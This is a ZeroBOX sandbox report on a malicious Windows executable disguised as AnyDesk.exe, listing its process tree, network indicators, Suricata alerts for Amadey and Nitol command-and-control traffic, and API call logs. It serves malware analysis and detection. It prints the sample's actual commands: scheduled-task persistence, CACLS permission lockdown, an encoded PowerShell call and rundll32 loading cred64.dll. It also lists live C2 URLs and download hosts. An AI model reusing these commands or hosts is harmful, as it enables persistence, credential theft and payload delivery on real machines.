Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Dec. 12, 2022, 11:13 a.m.	Dec. 12, 2022, 11:15 a.m.

Size	307.1KB
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	`d332cf184ac8335d2c3581a48ee0ad87`
SHA256	`d7e5fa6922a95dfb84d870acd40632bde2c667d90f4c6e632342f03bab338fb2`
CRC32	`62E5FCBF`
ssdeep	`6144:6zUx+CLxZyLMZ58dt/AlbTX61DESFCYWZOmCRm1cp4SY:6DAZyrdtoJK1DE0dWtCQeA`
Yara	IsPE32 - (no description) PE_Header_Zero - PE File Signature

AnyDesk.exe "C:\Users\test22\AppData\Local\Temp\AnyDesk.exe"
1552
- gntuud.exe "C:\Users\test22\AppData\Local\Temp\4ca685c424\gntuud.exe"
  2288
  - schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN gntuud.exe /TR "C:\Users\test22\AppData\Local\Temp\4ca685c424\gntuud.exe" /F
    2612
  - cmd.exe "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "gntuud.exe" /P "test22:N"&&CACLS "gntuud.exe" /P "test22:R" /E&&echo Y|CACLS "..\4ca685c424" /P "test22:N"&&CACLS "..\4ca685c424" /P "test22:R" /E&&Exit
    2672
    - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
      2740
    - cacls.exe CACLS "gntuud.exe" /P "test22:N"
      2780
    - cacls.exe CACLS "gntuud.exe" /P "test22:R" /E
      2832
    - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
      2880
    - cacls.exe CACLS "..\4ca685c424" /P "test22:N"
      2916
    - cacls.exe CACLS "..\4ca685c424" /P "test22:R" /E
      2972
  - TeamViewerSetupx64.exe "C:\Users\test22\AppData\Local\Temp\1000025001\TeamViewerSetupx64.exe"
    3064
  - explorer.exe "C:\Users\test22\AppData\Roaming\1000028000\explorer.exe"
    2140
    - cmd.exe "C:\Windows\system32\cmd.exe" /c del C:\Users\test22\AppData\Roaming\100002~1\explorer.exe > nul
      2248
  - TeamViewer_Desktop.exe "C:\Users\test22\AppData\Roaming\1000030000\TeamViewer_Desktop.exe"
    2184
  - LanguageTool.exe "C:\Users\test22\AppData\Local\Temp\1000043001\LanguageTool.exe"
    2648
    - powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAANgAwAA==
      2912
    - LanguageTool.exe C:\Users\test22\AppData\Local\Temp\1000043001\LanguageTool.exe
      2768
  - rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Roaming\96facdca63b65f\cred64.dll, Main
    2964
  - rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Roaming\96facdca63b65f\cred64.dll, Main
    2028
  - rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Roaming\96facdca63b65f\cred64.dll, Main
    2756
explorer.exe C:\Windows\Explorer.EXE
1236

Name	Response	Post-Analysis Lookup
pmvqdjfuf3wlx9ki.xyz
smgqnt3eixxksasu.xyz	A 45.89.255.254	45.89.255.254
PMVqdJfUf3WlX9kI.xyz
SmgqNt3EIxXkSAsU.xyz	A 45.89.255.254	45.89.255.254
AQWe9sfiWSwPyVMJ.xyz
aqwe9sfiwswpyvmj.xyz
gy9.gyddos.com

IP Address	Status	Action
164.124.101.2	Active	Moloch
45.89.255.250	Active	Moloch
45.89.255.254	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.103:49172 -> 45.89.255.254:80	2027700	ET MALWARE Amadey CnC Check-In	Malware Command and Control Activity Detected
TCP 192.168.56.103:49174 -> 45.89.255.250:8080	2016141	ET INFO Executable Download from dotted-quad Host	A Network Trojan was detected
TCP 45.89.255.250:8080 -> 192.168.56.103:49174	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 45.89.255.250:8080 -> 192.168.56.103:49174	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 45.89.255.250:8080 -> 192.168.56.103:49174	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic
TCP 192.168.56.103:49178 -> 45.89.255.250:8080	2016141	ET INFO Executable Download from dotted-quad Host	A Network Trojan was detected
TCP 192.168.56.103:49178 -> 45.89.255.250:8080	2016700	ET HUNTING Suspicious explorer.exe in URI	Potentially Bad Traffic
TCP 45.89.255.250:8080 -> 192.168.56.103:49178	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 45.89.255.250:8080 -> 192.168.56.103:49178	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 45.89.255.250:8080 -> 192.168.56.103:49178	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic
TCP 192.168.56.103:49191 -> 45.89.255.250:8080	2016141	ET INFO Executable Download from dotted-quad Host	A Network Trojan was detected
TCP 45.89.255.250:8080 -> 192.168.56.103:49191	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 45.89.255.250:8080 -> 192.168.56.103:49191	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 45.89.255.250:8080 -> 192.168.56.103:49191	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic
TCP 45.89.255.254:80 -> 192.168.56.103:49177	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 45.89.255.254:80 -> 192.168.56.103:49177	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 192.168.56.103:49184 -> 45.89.255.250:40404	2025135	ET MALWARE [PTsecurity] Botnet Nitol.B Checkin	Malware Command and Control Activity Detected
TCP 192.168.56.103:49186 -> 45.89.255.250:8080	2016141	ET INFO Executable Download from dotted-quad Host	A Network Trojan was detected
TCP 45.89.255.250:8080 -> 192.168.56.103:49186	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 45.89.255.250:8080 -> 192.168.56.103:49186	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 45.89.255.250:8080 -> 192.168.56.103:49186	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic
TCP 192.168.56.103:49188 -> 45.89.255.250:50505	2014600	ET MALWARE Win32/Nitol.A Checkin	Malware Command and Control Activity Detected

Suricata TLS

No Suricata TLS

Queries for the computername (9 events)

Time & API	Arguments	Status	Return
GetComputerNameW Dec. 12, 2022, 11:13 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Dec. 12, 2022, 11:14 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Dec. 12, 2022, 11:14 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Dec. 12, 2022, 11:14 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Dec. 12, 2022, 11:14 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Dec. 12, 2022, 11:14 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Dec. 12, 2022, 11:14 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Dec. 12, 2022, 11:14 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Dec. 12, 2022, 11:14 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (6 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Dec. 12, 2022, 11:14 a.m.			0	0
IsDebuggerPresent Dec. 12, 2022, 11:14 a.m.			0	0
IsDebuggerPresent Dec. 12, 2022, 11:14 a.m.			0	0
IsDebuggerPresent Dec. 12, 2022, 11:14 a.m.			0	0
IsDebuggerPresent Dec. 12, 2022, 11:14 a.m.			0	0
IsDebuggerPresent Dec. 12, 2022, 11:14 a.m.			0	0

Command line console output was observed (50 out of 79 events)

Time & API	Arguments	Status	Return
WriteConsoleW Dec. 12, 2022, 11:13 a.m.	buffer: SUCCESS: The scheduled task "gntuud.exe" has successfully been created. console_handle: 0x00000007	1	1
WriteConsoleA Dec. 12, 2022, 11:13 a.m.	buffer: A console_handle: 0x00000007	1	1
WriteConsoleA Dec. 12, 2022, 11:13 a.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA Dec. 12, 2022, 11:13 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA Dec. 12, 2022, 11:13 a.m.	buffer: y console_handle: 0x00000007	1	1
WriteConsoleA Dec. 12, 2022, 11:13 a.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA Dec. 12, 2022, 11:13 a.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA Dec. 12, 2022, 11:13 a.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA Dec. 12, 2022, 11:13 a.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA Dec. 12, 2022, 11:13 a.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA Dec. 12, 2022, 11:13 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA Dec. 12, 2022, 11:13 a.m.	buffer: Y console_handle: 0x00000007	1	1
WriteConsoleA Dec. 12, 2022, 11:13 a.m.	buffer: N console_handle: 0x00000007	1	1
WriteConsoleA Dec. 12, 2022, 11:13 a.m.	buffer: p console_handle: 0x00000007	1	1
WriteConsoleA Dec. 12, 2022, 11:13 a.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA Dec. 12, 2022, 11:13 a.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA Dec. 12, 2022, 11:13 a.m.	buffer: c console_handle: 0x00000007	1	1
WriteConsoleA Dec. 12, 2022, 11:13 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA Dec. 12, 2022, 11:13 a.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA Dec. 12, 2022, 11:13 a.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA Dec. 12, 2022, 11:13 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA Dec. 12, 2022, 11:13 a.m.	buffer: d console_handle: 0x00000007	1	1
WriteConsoleA Dec. 12, 2022, 11:13 a.m.	buffer: f console_handle: 0x00000007	1	1
WriteConsoleA Dec. 12, 2022, 11:13 a.m.	buffer: i console_handle: 0x00000007	1	1
WriteConsoleA Dec. 12, 2022, 11:13 a.m.	buffer: l console_handle: 0x00000007	1	1
WriteConsoleA Dec. 12, 2022, 11:13 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleW Dec. 12, 2022, 11:13 a.m.	buffer: C:\Users\test22\AppData\Local\Temp\4ca685c424\gntuud.exe console_handle: 0x00000007	1	1
WriteConsoleA Dec. 12, 2022, 11:13 a.m.	buffer: p console_handle: 0x00000007	1	1
WriteConsoleA Dec. 12, 2022, 11:13 a.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA Dec. 12, 2022, 11:13 a.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA Dec. 12, 2022, 11:13 a.m.	buffer: c console_handle: 0x00000007	1	1
WriteConsoleA Dec. 12, 2022, 11:13 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA Dec. 12, 2022, 11:13 a.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA Dec. 12, 2022, 11:13 a.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA Dec. 12, 2022, 11:13 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA Dec. 12, 2022, 11:13 a.m.	buffer: d console_handle: 0x00000007	1	1
WriteConsoleA Dec. 12, 2022, 11:13 a.m.	buffer: f console_handle: 0x00000007	1	1
WriteConsoleA Dec. 12, 2022, 11:13 a.m.	buffer: i console_handle: 0x00000007	1	1
WriteConsoleA Dec. 12, 2022, 11:13 a.m.	buffer: l console_handle: 0x00000007	1	1
WriteConsoleA Dec. 12, 2022, 11:13 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleW Dec. 12, 2022, 11:13 a.m.	buffer: C:\Users\test22\AppData\Local\Temp\4ca685c424\gntuud.exe console_handle: 0x00000007	1	1
WriteConsoleA Dec. 12, 2022, 11:13 a.m.	buffer: A console_handle: 0x00000007	1	1
WriteConsoleA Dec. 12, 2022, 11:13 a.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA Dec. 12, 2022, 11:13 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA Dec. 12, 2022, 11:13 a.m.	buffer: y console_handle: 0x00000007	1	1
WriteConsoleA Dec. 12, 2022, 11:13 a.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA Dec. 12, 2022, 11:13 a.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA Dec. 12, 2022, 11:13 a.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA Dec. 12, 2022, 11:13 a.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA Dec. 12, 2022, 11:13 a.m.	buffer: r console_handle: 0x00000007	1	1

Uses Windows APIs to generate a cryptographic key (40 events)

Time & API	Arguments	Status	Return
CryptExportKey Dec. 12, 2022, 11:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006039d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2022, 11:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006040d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2022, 11:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006040d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2022, 11:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006040d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2022, 11:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00603798 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2022, 11:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00603798 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2022, 11:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00603798 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2022, 11:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00603798 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2022, 11:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00603798 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2022, 11:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00603798 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2022, 11:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006040d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2022, 11:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006040d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2022, 11:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006040d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2022, 11:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00603dd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2022, 11:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00603dd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2022, 11:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00603dd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2022, 11:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00604218 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2022, 11:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00603dd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2022, 11:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00603dd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2022, 11:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00603dd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2022, 11:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00603dd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2022, 11:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00603dd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2022, 11:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00603dd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2022, 11:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00603dd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2022, 11:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006042d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2022, 11:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006042d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2022, 11:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006042d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2022, 11:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006042d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2022, 11:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006042d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2022, 11:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006042d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2022, 11:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006042d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2022, 11:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006042d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2022, 11:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006042d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2022, 11:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006042d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2022, 11:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006042d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2022, 11:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006042d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2022, 11:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006042d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2022, 11:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006042d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2022, 11:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00604358 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 12, 2022, 11:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00604358 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Dec. 12, 2022, 11:13 a.m.		1	1	0

The executable contains unknown PE section names indicative of a packer (could be a false positive) (1 event)

section

.itext

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (7 events)

suspicious_features	POST method with no referer header, POST method with no useragent header	suspicious_request	POST http://SmgqNt3EIxXkSAsU.xyz/jg94cVd30f/index.php
suspicious_features	POST method with no referer header, POST method with no useragent header	suspicious_request	POST http://SmgqNt3EIxXkSAsU.xyz/jg94cVd30f/index.php?scr=1
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://45.89.255.250:8080/TeamViewerSetupx64.exe
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://45.89.255.250:8080/explorer.exe
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://45.89.255.250:8080/TeamViewer_Desktop.exe
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://45.89.255.250:8080/LanguageTool.exe
suspicious_features	GET method with no useragent header	suspicious_request	GET http://SmgqNt3EIxXkSAsU.xyz/jg94cVd30f/Plugins/cred64.dll

Performs some HTTP requests (7 events)

request	POST http://SmgqNt3EIxXkSAsU.xyz/jg94cVd30f/index.php
request	POST http://SmgqNt3EIxXkSAsU.xyz/jg94cVd30f/index.php?scr=1
request	GET http://45.89.255.250:8080/TeamViewerSetupx64.exe
request	GET http://45.89.255.250:8080/explorer.exe
request	GET http://45.89.255.250:8080/TeamViewer_Desktop.exe
request	GET http://45.89.255.250:8080/LanguageTool.exe
request	GET http://SmgqNt3EIxXkSAsU.xyz/jg94cVd30f/Plugins/cred64.dll

Sends data using the HTTP POST Method (2 events)

request	POST http://SmgqNt3EIxXkSAsU.xyz/jg94cVd30f/index.php
request	POST http://SmgqNt3EIxXkSAsU.xyz/jg94cVd30f/index.php?scr=1

Allocates read-write-execute memory (usually to unpack itself) (50 out of 299 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Dec. 12, 2022, 11:14 a.m.	process_identifier: 2648 region_size: 458752 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00380000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2022, 11:14 a.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003b0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Dec. 12, 2022, 11:14 a.m.	process_identifier: 2648 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72e71000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Dec. 12, 2022, 11:14 a.m.	process_identifier: 2648 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72e72000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2022, 11:14 a.m.	process_identifier: 2648 region_size: 524288 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00460000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2022, 11:14 a.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x004a0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2022, 11:14 a.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003a2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2022, 11:14 a.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00415000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2022, 11:14 a.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0041b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2022, 11:14 a.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00417000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2022, 11:14 a.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003fc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2022, 11:14 a.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00650000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2022, 11:14 a.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003aa000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2022, 11:14 a.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0040a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2022, 11:14 a.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00407000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2022, 11:14 a.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003fa000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2022, 11:14 a.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00406000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2022, 11:14 a.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003fd000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2022, 11:14 a.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003fe000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2022, 11:14 a.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003ac000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2022, 11:14 a.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003ff000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
